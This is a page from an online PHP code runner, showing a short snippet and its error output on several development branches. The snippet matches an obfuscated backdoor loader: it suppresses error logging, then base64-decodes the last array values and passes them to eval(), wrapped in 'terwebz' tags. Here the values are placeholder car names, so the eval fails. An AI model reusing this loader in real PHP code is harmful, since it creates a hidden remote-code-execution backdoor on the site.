3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=array("in","Volvo","BMW","Toyota"); if(reset($a)=='in' && $c($a)>3) print('fu'); {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; print(eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))))); echo '</'.$k.'>';} ?>
Output for git.master, git.master_jit, rfc.property-hooks
fu Warning: ini_set(): open_basedir restriction in effect. File(/dev/null) is not within the allowed path(s): (/tmp:/in:/etc) in /in/PfGiL on line 6 <terwebz> Parse error: syntax error, unexpected character 0x13 in /in/PfGiL(9) : eval()'d code on line 1
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
38.88 ms | 401 KiB | 8 Q